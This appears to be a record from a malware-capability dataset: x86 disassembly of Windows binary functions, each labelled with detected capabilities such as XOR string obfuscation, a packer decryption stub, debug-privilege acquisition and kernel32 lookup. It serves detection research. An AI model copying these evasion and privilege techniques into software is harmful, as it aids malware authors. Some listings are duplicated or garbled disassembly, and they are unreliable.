joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43a400
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x18
cmp dword [ecx + 8], 0
je 0x43a473
mov edx, dword [ecx]
test edx, edx
je 0x43a473
mov edi, dword [ebp + 0xc]
mov dword [esp], 0x20272625
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, eax
add bl, 0xc9
xor bl, byte [esp + eax]
add bl, 0x13
mov byte [esp + eax], bl
inc eax
cmp eax, 4
jne 0x43a430
mov eax, dword [esp]
mov ebx, dword [0x44b064]
test ebx, ebx
je 0x43a4d3
xor edi, edi
mov esi, dword [0x44b068]
nop
nop
nop
cmp dword [esi + edi*8], 0xaf0e0c2e
je 0x43a4af
inc edi
cmp ebx, edi
jne 0x43a460
mov edi, dword [ebp + 0xc]
jmp 0x43a4d3
mov dword [esp], 0xf3323148
mov eax, 0x4f21078c
nop
movzx ecx, byte [esp + eax - 0x4f21078c]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x44
mov byte [esp + eax - 0x4f21078c], cl
inc eax
cmp eax, 0x4f210790
jne 0x43a480
mov eax, dword [esp]
jmp 0x43a61b
mov esi, dword [esi + edi*8 + 4]
cmp esi, eax
mov edi, dword [ebp + 0xc]
je 0x43a4d3
push dword [ebp + 8]
push edx
push 8
push esi
push dword [0x44b06c]
mov esi, ecx
call fcn.0043c950
mov ecx, esi
add esp, 0x14
test edi, edi
je 0x43a591
cmp eax, 0xc000010a
jne 0x43a591
mov edx, 0xffffd8f0
mov eax, edi
mul edx
sub edx, edi
mov dword [esp], eax
mov dword [esp + 4], edx
mov ebx, dword [ecx]
mov dword [esp + 0xc], 0x20272625
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0xc9
xor dl, byte [esp + eax + 0xc]
add dl, 0x13
mov byte [esp + eax + 0xc], dl
inc eax
cmp eax, 4
jne 0x43a510
xor edx, edx
cmp edi, 0xffffffff
je 0x43a52f
mov edx, esp
mov eax, dword [esp + 0xc]
mov esi, dword [0x44b064]
test esi, esi
je 0x43a591
mov dword [esp + 0x10], edx
mov dword [esp + 8], ebx
xor ebx, ebx
mov edx, dword [0x44b068]
nop
nop
nop
cmp dword [edx + ebx*8], 0x4c697c35
je 0x43a56a
mov edi, ebx
and edi, 1
xor ebx, 1
lea ebx, [ebx + edi*2]
cmp ebx, esi
jb 0x43a550
jmp 0x43a591
mov edx, dword [edx + ebx*8 + 4]
cmp edx, eax
je 0x43a591
push dword [esp + 0x10]
push 0
push dword [esp + 0x10]
push 0xc
push edx
push dword [0x44b06c]
mov esi, ecx
call fcn.0043c950
mov ecx, esi
add esp, 0x18
test eax, eax
js 0x43a61b
mov edx, dword [ecx]
test edx, edx
je 0x43a61b
mov dword [esp + 8], edx
mov dword [esp], 0x20272625
xor ebx, ebx
mov edx, ebx
add dl, 0xc9
xor dl, byte [esp + ebx]
add dl, 0x13
mov byte [esp + ebx], dl
inc ebx
cmp ebx, 4
jne 0x43a5b0
mov esi, dword [0x44b064]
test esi, esi
je 0x43a615
mov edx, dword [esp]
xor ebx, ebx
mov edi, dword [0x44b068]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + ebx*8], 0x1b6183f2
je 0x43a5f0
inc ebx
cmp esi, ebx
jne 0x43a5e0
jmp 0x43a615
mov esi, dword [edi + ebx*8 + 4]
cmp esi, edx
je 0x43a615
push dword [esp + 8]
push 4
push esi
push dword [0x44b06c]
mov esi, ecx
mov edi, eax
call fcn.0043c950
mov eax, edi
mov ecx, esi
add esp, 0x10
mov dword [ecx], 0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x43e380
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [esp + 0x3c]
movzx eax, word [eax]
mov dword [esp + 8], eax
mov dword [esp], 0xb18e7543
mov word [esp + 4], 0
mov ebp, 0xa382385d
mov esi, 0x5c7dc7a2
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ebp + 0x5c7dc7a3]
mov ebx, edx
xor ebx, ebp
or ebx, esi
mov eax, ebx
shr al, 1
and al, 1
mov ecx, ebx
not cl
mov ah, cl
and ah, 0x7d
mul ah
add al, al
sub dl, al
test bl, 2
sete al
or cl, 2
mul cl
add al, al
sub dl, al
movzx eax, dl
add eax, ebp
add al, 0x2f
mov byte [esp + ebp + 0x5c7dc7a3], al
inc ebp
dec esi
cmp ebp, 0xa3823863
jne 0x43e3b0
xor ecx, ecx
mov eax, dword [esp + 8]
cmp dword [esp], eax
setne cl
xor eax, eax
mov ebp, dword [esp + 0x3c]
jmp dword [ecx*4 + 0x448834]

Function at 0x43ec20
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov ebp, dword [esp + 0x50]
mov edi, dword [esp + 0x3c]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x43ec40
mov esi, eax
sar esi, 1
cmp esi, 0xfffffffb
jge 0x43ec5b
mov eax, 0xffffffff
jmp 0x43ec5e
add eax, 0xa
push eax
call fcn.00409c90
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
lea ecx, [esi + 4]
mov word [eax + 8], 0
mov edx, eax
add edx, 8
movzx ebx, word [edi]
test bx, bx
je 0x43eca1
add edi, 2
nop
nop
nop
mov word [edx], bx
add edx, 2
movzx ebx, word [edi]
add edi, 2
test bx, bx
jne 0x43ec90
mov word [edx], 0
mov edx, 3
sub edx, esi
and edx, 2
mov edi, ecx
and edi, 0xfffd
imul edi, edx
and esi, 2
or ecx, 2
imul ecx, esi
lea edx, [ecx + edi]
mov word [esp + 8], dx
add ecx, edi
add ecx, 2
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0x40474645
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor edx, edx
mov ecx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx]
lea edi, [edx + 0x6e667871]
xor edi, esi
mov esi, edi
and esi, 1
xor edi, 1
lea ebx, [edi + esi*2]
add bl, 0xca
mov byte [esp + edx], bl
mov esi, edx
xor ecx, 1
add ecx, edx
and edx, 1
and esi, 6
add ecx, edx
sub ecx, esi
mov edx, ecx
cmp ecx, 7
jb 0x43ed30
mov esi, dword [esp]
mov ecx, dword [0x44b064]
test ecx, ecx
je 0x43edd2
xor edx, edx
mov edi, dword [0x44b068]
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xf6e92f34
je 0x43ed90
inc edx
cmp ecx, edx
jne 0x43ed80
jmp 0x43edd2
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, esi
je 0x43edd2
mov esi, esp
lea edx, [esp + 0x10]
push 0
push 0
push ebp
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x68]
push 0
push esi
push edx
push dword [esp + 0x68]
push dword [esp + 0x68]
push 0x2c
push ecx
push dword [0x44b06c]
mov edi, eax
call fcn.0043c950
add esp, 0x38
mov esi, eax
mov eax, edi
push eax
call fcn.00409ca0
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43edf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x3c]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x43ee10
mov esi, eax
sar esi, 1
cmp esi, 0xfffffffb
jge 0x43ee2b
mov eax, 0xffffffff
jmp 0x43ee2e
add eax, 0xa
push eax
call fcn.00409c90
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
lea ecx, [esi + 4]
mov word [eax + 8], 0
mov edx, eax
add edx, 8
movzx ebp, word [ebx]
test bp, bp
je 0x43ee71
add ebx, 2
nop
nop
nop
mov word [edx], bp
add edx, 2
movzx ebp, word [ebx]
add ebx, 2
test bp, bp
jne 0x43ee60
mov word [edx], 0
mov edx, ecx
and edx, 0xfffd
and esi, 2
mov ebx, esi
xor ebx, 2
imul ebx, edx
or ecx, 2
imul ecx, esi
lea edx, [ecx + ebx]
mov word [esp + 8], dx
add ecx, ebx
add ecx, 2
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0x40474645
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor edx, edx
mov ecx, edx
nop
nop
nop
nop
movzx esi, byte [esp + edx]
lea ebx, [edx + 0x6e667871]
xor ebx, esi
mov esi, ebx
and esi, 1
xor ebx, 1
lea ebx, [ebx + esi*2]
add bl, 0xca
mov byte [esp + edx], bl
mov esi, edx
xor ecx, 1
add ecx, edx
and edx, 1
and esi, 6
add ecx, edx
sub ecx, esi
mov edx, ecx
cmp ecx, 7
jb 0x43eef0
mov esi, dword [esp]
mov ecx, dword [0x44b064]
test ecx, ecx
je 0x43ef84
xor edx, edx
mov ebx, dword [0x44b068]
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x3174e150
je 0x43ef50
inc edx
cmp ecx, edx
jne 0x43ef40
jmp 0x43ef84
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x43ef84
mov edx, esp
lea esi, [esp + 0x10]
push edi
push dword [esp + 0x4c]
push edx
push esi
push dword [esp + 0x54]
push dword [esp + 0x54]
push 0x18
push ecx
push dword [0x44b06c]
mov edi, eax
call fcn.0043c950
add esp, 0x24
mov esi, eax
mov eax, edi
push eax
call fcn.00409ca0
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43efa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x43efc0
mov ebx, eax
sar ebx, 1
cmp ebx, 0xfffffffb
jge 0x43efdb
mov eax, 0xffffffff
jmp 0x43efde
add eax, 0xa
push eax
call fcn.00409c90
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [esi]
test dx, dx
je 0x43f021
add esi, 2
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x43f010
mov word [ecx], 0
lea ecx, [ebx*2 + 8]
mov word [esp], cx
lea ecx, [ebx*2 + 0xa]
mov word [esp + 2], cx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0x40
mov ecx, esp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0x40474645
mov word [esp + 0x24], 0
mov byte [esp + 0x26], 0
xor edx, edx
mov ecx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx + 0x20]
lea ebx, [edx + 0x6e667871]
xor ebx, esi
mov esi, ebx
and esi, 1
xor ebx, 1
lea ebx, [ebx + esi*2]
add bl, 0xca
mov byte [esp + edx + 0x20], bl
mov esi, edx
xor ecx, 1
add ecx, edx
and edx, 1
and esi, 6
add ecx, edx
sub ecx, esi
mov edx, ecx
cmp ecx, 7
jb 0x43f090
mov esi, dword [esp + 0x20]
mov ecx, dword [0x44b064]
test ecx, ecx
je 0x43f119
xor edx, edx
mov ebx, dword [0x44b068]
nop
nop
nop
cmp dword [ebx + edx*8], 0x1ce638e1
je 0x43f0f0
inc edx
cmp ecx, edx
jne 0x43f0e0
jmp 0x43f119
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x43f119
lea edx, [esp + 0x20]
lea esi, [esp + 8]
push edx
push esi
push 8
push ecx
push dword [0x44b06c]
mov ebx, eax
call fcn.0043c950
add esp, 0x14
mov esi, eax
mov eax, ebx
push eax
call fcn.00409ca0
add esp, 4
test edi, edi
je 0x43f12c
mov eax, dword [esp + 0x40]
mov dword [edi], eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43f140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [esp], 0x40474645
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor edx, edx
mov eax, edx
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + edx]
lea ebx, [edx + 0x6e667871]
xor ebx, ecx
mov ecx, ebx
and ecx, 1
xor ebx, 1
lea ecx, [ebx + ecx*2]
add cl, 0xca
mov byte [esp + edx], cl
mov ecx, edx
xor eax, 1
add eax, edx
and edx, 1
and ecx, 6
add eax, edx
sub eax, ecx
mov edx, eax
cmp eax, 7
jb 0x43f170
mov eax, dword [esp]
mov edx, dword [0x44b064]
test edx, edx
je 0x43f1f8
xor ebx, ebx
mov ecx, dword [0x44b068]
nop
nop
nop
nop
nop
nop
cmp dword [ecx + ebx*8], 0x9c142cda
je 0x43f1d0
inc ebx
cmp edx, ebx
jne 0x43f1c0
jmp 0x43f1f8
mov edx, dword [ecx + ebx*8 + 4]
cmp edx, eax
je 0x43f1f8
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 0x14
push edx
push dword [0x44b06c]
call fcn.0043c950
add esp, 0x20
test edi, edi
je 0x43f202
mov ecx, dword [esp + 8]
mov dword [edi], ecx
test esi, esi
je 0x43f20e
cmp byte [esp + 0x15], 0
setne byte [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43f220
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov edx, dword [esp + 0x2c]
mov esi, dword [esp + 0x28]
mov dword [esp], 0x40474645
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor ebx, ebx
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ebx]
lea ebp, [ebx + 0x6e667871]
xor ebp, edi
mov edi, ebp
and edi, 1
xor ebp, 1
lea ecx, [edi*2]
add ecx, ebp
add cl, 0xca
mov byte [esp + ebx], cl
mov ecx, ebx
xor eax, 1
add eax, ebx
and ebx, 1
and ecx, 6
add eax, ebx
sub eax, ecx
mov ebx, eax
cmp eax, 7
jb 0x43f250
mov eax, dword [esp]
mov ebx, dword [0x44b064]
test ebx, ebx
je 0x43f2de
xor ebp, ebp
mov edi, dword [0x44b068]
cmp dword [edi + ebp*8], 0x5b126fe8
je 0x43f2b0
inc ebp
cmp ebx, ebp
jne 0x43f2a0
jmp 0x43f2de
mov ebx, dword [edi + ebp*8 + 4]
cmp ebx, eax
je 0x43f2de
lea eax, [esp + 8]
push 0
push 0
push edx
push esi
push eax
push 0
push 0
push 0
push dword [esp + 0x44]
push 0x24
push ebx
push dword [0x44b06c]
call fcn.0043c950
add esp, 0x30
cmp eax, 0x103
jne 0x43f389
mov dword [esp], 0x40474645
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor ecx, ecx
mov eax, ecx
movzx edx, byte [esp + ecx]
lea esi, [ecx + 0x6e667871]
xor esi, edx
mov edx, esi
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
add dl, 0xca
mov byte [esp + ecx], dl
mov edx, ecx
xor eax, 1
add eax, ecx
and ecx, 1
and edx, 6
add eax, ecx
sub eax, edx
mov ecx, eax
cmp eax, 7
jb 0x43f300
mov eax, dword [esp]
mov ecx, dword [0x44b064]
test ecx, ecx
je 0x43f381
xor edx, edx
mov edi, dword [0x44b068]
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x4c697c35
je 0x43f360
inc edx
cmp ecx, edx
jne 0x43f350
jmp 0x43f381
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x43f381
push 0
push 0
push dword [esp + 0x2c]
push 0xc
push ecx
push dword [0x44b06c]
call fcn.0043c950
add esp, 0x18
test eax, eax
js 0x43f389
mov eax, dword [esp + 8]
mov edx, dword [esp + 0x30]
test edx, edx
je 0x43f3a0
xor ecx, ecx
cmp eax, 0xc0000011
je 0x43f39e
mov ecx, dword [esp + 0xc]
mov dword [edx], ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43f3b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov edx, dword [esp + 0x2c]
mov esi, dword [esp + 0x28]
mov dword [esp], 0x40474645
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor ebx, ebx
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ebx]
lea ebp, [ebx + 0x6e667871]
xor ebp, edi
mov edi, ebp
and edi, 1
xor ebp, 1
lea ecx, [edi*2]
add ecx, ebp
add cl, 0xca
mov byte [esp + ebx], cl
mov ecx, ebx
xor eax, 1
add eax, ebx
and ebx, 1
and ecx, 6
add eax, ebx
sub eax, ecx
mov ebx, eax
cmp eax, 7
jb 0x43f3e0
mov eax, dword [esp]
mov ebx, dword [0x44b064]
test ebx, ebx
je 0x43f46e
xor ebp, ebp
mov edi, dword [0x44b068]
cmp dword [edi + ebp*8], 0xa2545bf7
je 0x43f440
inc ebp
cmp ebx, ebp
jne 0x43f430
jmp 0x43f46e
mov ebx, dword [edi + ebp*8 + 4]
cmp ebx, eax
je 0x43f46e
lea eax, [esp + 8]
push 0
push 0
push edx
push esi
push eax
push 0
push 0
push 0
push dword [esp + 0x44]
push 0x24
push ebx
push dword [0x44b06c]
call fcn.0043c950
add esp, 0x30
cmp eax, 0x103
jne 0x43f519
mov dword [esp], 0x40474645
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor ecx, ecx
mov eax, ecx
movzx edx, byte [esp + ecx]
lea esi, [ecx + 0x6e667871]
xor esi, edx
mov edx, esi
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
add dl, 0xca
mov byte [esp + ecx], dl
mov edx, ecx
xor eax, 1
add eax, ecx
and ecx, 1
and edx, 6
add eax, ecx
sub eax, edx
mov ecx, eax
cmp eax, 7
jb 0x43f490
mov eax, dword [esp]
mov ecx, dword [0x44b064]
test ecx, ecx
je 0x43f511
xor edx, edx
mov edi, dword [0x44b068]
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x4c697c35
je 0x43f4f0
inc edx
cmp ecx, edx
jne 0x43f4e0
jmp 0x43f511
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x43f511
push 0
push 0
push dword [esp + 0x2c]
push 0xc
push ecx
push dword [0x44b06c]
call fcn.0043c950
add esp, 0x18
test eax, eax
js 0x43f519
mov eax, dword [esp + 8]
mov edx, dword [esp + 0x30]
test edx, edx
je 0x43f527
mov ecx, dword [esp + 0xc]
mov dword [edx], ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x11b30339
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x5dc533f6
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401260
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 0x20
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4012c8
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x4012c8
push esi
push esi
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 2
push eax
push esi
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4012d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4012de
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00401722
mov esp, ebp
pop ebp
ret

Function at 0x406496
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00406156
Function at 0x40b590
Capabilities:
Terminate process

Disassembly:
push edi
push esi
push ebx
xor edi, edi
mov eax, dword [esp + 0x14]
or eax, eax
jge 0x40b5b1
inc edx
mov edx, dword [esp + 0x10]
out 0xd8, al
fdiv st(7)
fiadd dword [ebx + 0x44898913]
and al, 0x14
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x37]
or ebx, dword [edx]
jge 0x40b5cd
inc edi
mov ah, 0x54
and al, 0x18
neg eax
neg edx
sbb eax, 0
mov ebx, eax
and al, 0x1c
or dl, byte [esp + 0x18]
or eax, eax
jne 0x40b5e9
mov esp, dword [edx - 0x58]
sbb byte [ebx + 0x33142444], cl
ror byte [ebx], cl
mov esi, esi
mov eax, dword [esp + 0x10]
or dh, cl
mov edx, ebx
jmp 0x40b62a
mov eax, ebx
mov ecx, dword [ecx + edi + 0x1c]
mov ecx, dword [ebp + 0x44a314d9]
and al, 0x10
mov esp, 0xd1d9c8a8
mov esp, 0x410bd8d1
jne 0x40b5f7
div ecx
mov esi, eax
mul dword [esp + 0x37]
xchg ecx, eax
enter 0x44e5, 0xffffffffffffffec
sbb byte [edi + 0x724c03e6], bl
add ecx, dword [edx + esi*2 + 0xe]
dec edi
jne 0x40b634
neg edx
neg eax
rol byte [ebp + 0x5f5e5b00], 1
pop ebx
pop esi
pop edi
ret 0x41b

Function at 0x40b5a3
Capabilities:
Terminate process

Disassembly:
push edi
push esi
push ebx
xor edi, edi
mov eax, dword [esp + 0x14]
or eax, eax
jge 0x40b5b1
inc edx
mov edx, dword [esp + 0x10]
out 0xd8, al
fdiv st(7)
fiadd dword [ebx + 0x44898913]
and al, 0x14
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x37]
or ebx, dword [edx]
jge 0x40b5cd
inc edi
mov ah, 0x54
and al, 0x18
neg eax
neg edx
sbb eax, 0
mov ebx, eax
and al, 0x1c
or dl, byte [esp + 0x18]
or eax, eax
jne 0x40b5e9
mov esp, dword [edx - 0x58]
sbb byte [ebx + 0x33142444], cl
ror byte [ebx], cl
mov esi, esi
mov eax, dword [esp + 0x10]
or dh, cl
mov edx, ebx
jmp 0x40b62a
mov eax, ebx
mov ecx, dword [ecx + edi + 0x1c]
mov ecx, dword [ebp + 0x44a314d9]
and al, 0x10
mov esp, 0xd1d9c8a8
mov esp, 0x410bd8d1
jne 0x40b5f7
div ecx
mov esi, eax
mul dword [esp + 0x37]
xchg ecx, eax
enter 0x44e5, 0xffffffffffffffec
sbb byte [edi + 0x724c03e6], bl
add ecx, dword [edx + esi*2 + 0xe]
dec edi
jne 0x40b634
neg edx
neg eax
rol byte [ebp + 0x5f5e5b00], 1
pop ebx
pop esi
pop edi
ret 0x41b
Function at 0x4bfb0b
Capabilities:
Check http status code

Disassembly:
mov eax, 0x101c9a8
call fcn.004d0bad
sub esp, 0x18
push ebx
push esi
push edi
push 4
mov esi, ecx
pop ebx
push dword [esi + 0xa8]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], ebx
call fcn.004cd540
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], edi
push edi
push ebx
push edi
push dword [esi + 0xa8]
mov byte [ebp - 4], 1
call dword [0x1001278]
test eax, eax
mov ebx, dword [0x1001158]
jne 0x4bfb5a
call ebx
mov edi, eax
push esi
lea ecx, [ebp - 0x10]
call fcn.004bf9a9
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x20000013
push dword [esi + 0xa8]
call dword [0x100127c]
test eax, eax
je 0x4bfbd9
cmp dword [ebp - 0x14], 0xc8
je 0x4bfb9e
xor eax, eax
cmp dword [ebp - 0x14], 0x191
setne al
add eax, 0x80041001
jmp 0x4bfbd5
push 0
lea ecx, [ebp - 0x10]
call fcn.004bf9a9
push dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call fcn.004d0f69
test eax, eax
jge 0x4bfbbf
mov edi, 0x80041008
jmp 0x4bfbf1
mov ecx, dword [ebp + 8]
call fcn.004d0e27
neg al
sbb eax, eax
and eax, 0x7ffbeff8
add eax, 0x80041008
mov edi, eax
jmp 0x4bfbf1
test edi, edi
jne 0x4bfbe3
call ebx
mov edi, eax
test edi, edi
jle 0x4bfbf1
and edi, 0xffff
or edi, 0x80070000
mov eax, dword [ebp - 0x10]
test eax, eax
mov byte [ebp - 4], 0
je 0x4bfc04
lea ecx, [eax + 4]
call fcn.004c92e0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x4cde42
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x101db3a
call fcn.004d0bad
push ecx
push esi
mov esi, ecx
xor eax, eax
push edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xb]
push eax
lea ecx, [esi + 0x34]
call fcn.004c7162
mov edi, dword [ebp + 8]
push dword [ebp + 0xc]
lea eax, [edi + 0x2c]
mov cx, word [eax]
neg cx
mov byte [ebp - 4], 1
sbb ecx, ecx
and ecx, eax
push ecx
mov ecx, esi
call fcn.004cdd7a
mov eax, dword [edi]
mov dword [esi + 0x10], eax
mov eax, dword [edi + 4]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [edi + 8]
mov dword [esi + 0x18], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0x1c], eax
mov eax, dword [edi + 0x10]
mov dword [esi + 0x20], eax
mov eax, dword [edi + 0x14]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x18]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x1c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x20]
mov dword [esi + 0x30], eax
mov byte [esi + 0x40], 1
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 8